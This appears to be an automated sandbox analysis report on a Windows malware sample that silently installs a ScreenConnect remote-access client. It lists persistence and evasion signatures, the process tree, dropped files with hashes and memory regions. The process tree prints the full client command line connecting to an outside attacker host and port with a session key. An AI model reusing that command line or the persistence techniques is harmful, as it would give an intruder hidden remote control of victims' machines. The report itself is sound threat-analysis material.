Analysis

  • max time kernel
    149s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    02/05/2026, 14:06

General

  • Target
    2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
  • Size 5.4MB
  • Sample260502-rec1eaas2w
  • SHA256 936330ca9319294bc5ae7cd2508aa7a71392428860eee5d95fd98f13ebc511dc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 5 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 8 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-05-02_6eae7adf5f6d167bac986c505658379f_amadey_elex_glassworm_hellokitty_hijackloader_icedid_luc.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4088
    • C:\Windows\SysWOW64\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\2ab21ad5db4a7661\ScreenConnect.ClientSetup.msi"
      2⤵
      • Enumerates connected drives
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:3672
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3900
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding C7E8A0D9208BF90613976A09B78C233F C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4012
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240673921 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1044
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:1204
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 859727BA2FE0625D9828310B6B8F59D7
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:404
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding AD9BD908DD9586CA0C3443EEE5E81590 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1816
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4920
    • C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=37.221.64.54&p=8041&s=3c0a5987-59c9-420c-9692-ad390713d95f&k=BgIAAACkAABSU0ExAAgAAAEAAQBtRcOmkrgNYslRocOkTkuTyihOpi8jiGU066NYR9jBDXkHxmSQ2YVUm3s8%2fooJYnEhSV7fUNG1B5eE%2bEBaTsdMjuSy6wM5sWHiNov0I%2fCi2R8idtf7h0sRNyUXYU5mv3W%2f%2bAAUF5FVSqznlNh79hYpQ5ibv2AEsvG1v7zIzpVIe9GJKEaCyiMYnNwSkNrJyk7EHRdZqqtnkfYNP7V5qS%2f5EGwD4G1QOOnZh31YJbjAYbQ8GP%2b16XpkKKcCdOuQgGXJcCyDfk7uTR3jzS8ZKuveOcMCrYggcWYA0u%2bjDf3hxmbOoHDVTNrhlpt3R6xZaEcGEohbZJ69mglDgpaukS6e&r=&i=Untitled%20Session"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4124
      • C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe" "RunRole" "03b54548-2963-471b-b579-33c141e15e56" "User"
        2⤵
        • Executes dropped EXE
        PID:2164

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads

          e58a360.rbs

          • Path C:\Config.Msi\e58a360.rbs
          • Size 214KB
          • SHA256 3f7919c414b25c2ac536c8d9437bdde0818c7b841048d036a623103bfe49516a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.Override.en-US.resources
          • Size 338B
          • SHA256 38368f705ff0da7c681347e2469fad72ea7c9aef0459e092a77753c8ca501d9e
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.Override.resources
          • Size 256B
          • SHA256 ce99d2022eb57129b951fbe6dfb9f3ac6bc9f9c41055ef577693a17bd0df6674
          • MD5 SHA1 SHA512 TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\app.config
          • Size 2KB
          • SHA256 18a07e83967ee07186cf0c8163a2486eed6ffc74832e3e126a8bdd39fbe8b137
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (2ab21ad5db4a7661)\system.config
          • Size 934B
          • SHA256 be58edae7e75102b59e63b07412346282f0384886eed7127f708bc2bb431cbd0
          • MD5 SHA1 SHA512 TLSH

          MSI6443.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI6443.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientSetup.msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\2ab21ad5db4a7661\ScreenConnect.ClientSetup.msi
          • Size 12.8MB
          • SHA256 9d0fc900fb456a7e298d18cc2157066d6910965c1a6ea21b6b9a58f0923e1c98
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIA4A8.tmp

          • Path C:\Windows\Installer\MSIA4A8.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.1MB
          • SHA256 72ebd432b109b61eaa148a5681fa5b397d913d1dfc137c2175392484a8823afc
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {cf0bb118-8255-4156-989f-750eb57af44f}_OnDiskSnapshotProp

          • Path \??\Volume{e2a40a55-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{cf0bb118-8255-4156-989f-750eb57af44f}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 e95a8ed51daa2ce777b4fb9de7353783299708d8a802cedbdb1b78ffc6e5c14f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/1044-43-0x0000000004C10000-0x0000000004DBC000-memory.dmp

          memory/1044-39-0x00000000049D0000-0x0000000004A5C000-memory.dmp

          memory/1044-35-0x0000000004930000-0x000000000493A000-memory.dmp

          memory/1044-31-0x00000000048F0000-0x000000000491E000-memory.dmp

          memory/1204-144-0x0000027088BB0000-0x00000270892EF000-memory.dmp

          memory/1204-148-0x0000027088BB0000-0x00000270892EF000-memory.dmp

          memory/2164-133-0x000000001BCD0000-0x000000001BE7C000-memory.dmp

          memory/2164-129-0x0000000002C40000-0x0000000002C76000-memory.dmp

          memory/2164-140-0x000000001C210000-0x000000001C94F000-memory.dmp

          memory/2164-139-0x0000000001320000-0x000000000132C000-memory.dmp

          memory/2164-137-0x0000000002CA0000-0x0000000002CB8000-memory.dmp

          memory/2164-136-0x0000000001360000-0x0000000001378000-memory.dmp

          memory/2164-135-0x000000001BE80000-0x000000001C006000-memory.dmp

          memory/2164-126-0x0000000000B10000-0x0000000000BA8000-memory.dmp

          memory/2164-132-0x000000001B860000-0x000000001B8EC000-memory.dmp

          memory/3900-49-0x0000020535360000-0x0000020535A9F000-memory.dmp

          memory/3900-141-0x0000020535360000-0x0000020535A9F000-memory.dmp

          memory/4088-11-0x0000000006BC0000-0x0000000007173000-memory.dmp

          memory/4088-6-0x0000000005A70000-0x0000000005C1C000-memory.dmp

          memory/4088-0-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/4088-7-0x0000000006610000-0x0000000006BB4000-memory.dmp

          memory/4088-5-0x0000000003450000-0x0000000003472000-memory.dmp

          memory/4088-1-0x0000000001AD0000-0x0000000001AD8000-memory.dmp

          memory/4088-2-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/4088-3-0x0000000005D70000-0x0000000006062000-memory.dmp

          memory/4088-8-0x0000000005A60000-0x0000000005A70000-memory.dmp

          memory/4088-4-0x00000000059D0000-0x0000000005A5C000-memory.dmp

          memory/4124-107-0x00000000046D0000-0x0000000004711000-memory.dmp

          memory/4124-104-0x0000000004770000-0x00000000047A6000-memory.dmp

          memory/4124-143-0x0000000001FE0000-0x0000000002001000-memory.dmp

          memory/4124-109-0x0000000004C40000-0x0000000004D15000-memory.dmp

          memory/4124-100-0x0000000004720000-0x0000000004770000-memory.dmp

          memory/4124-89-0x0000000004460000-0x0000000004478000-memory.dmp

          memory/4124-105-0x0000000004A60000-0x0000000004AF2000-memory.dmp